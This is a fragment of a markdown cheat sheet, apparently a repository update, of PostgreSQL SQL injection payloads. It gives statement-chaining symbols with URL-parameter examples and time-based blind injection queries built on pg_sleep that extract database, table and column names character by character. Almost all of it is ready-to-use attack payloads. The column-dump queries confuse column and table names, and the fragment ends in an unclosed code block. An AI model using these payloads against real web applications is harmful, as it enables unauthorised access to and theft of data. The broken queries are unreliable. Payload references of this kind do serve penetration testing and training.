Update PostgreSQL Injection.md

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/**/
```
## PostgreSQL chain injection points symbols
```sql
; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.
|| #or statement
# usage examples:
/?whatever=1;(select 1 from pg_sleep(5))
/?whatever=1||(select 1 from pg_sleep(5))
```
## PostgreSQL Version
```sql
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```
## PostgreSQL Time Based
#### Identify time based
```sql
select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))
```
#### Database dump time based
```sql
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
```
#### Table dump time based
```sql
select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1
```
#### columns dump time based
```sql
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name where column_name='value' limit 1
```
```sql
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))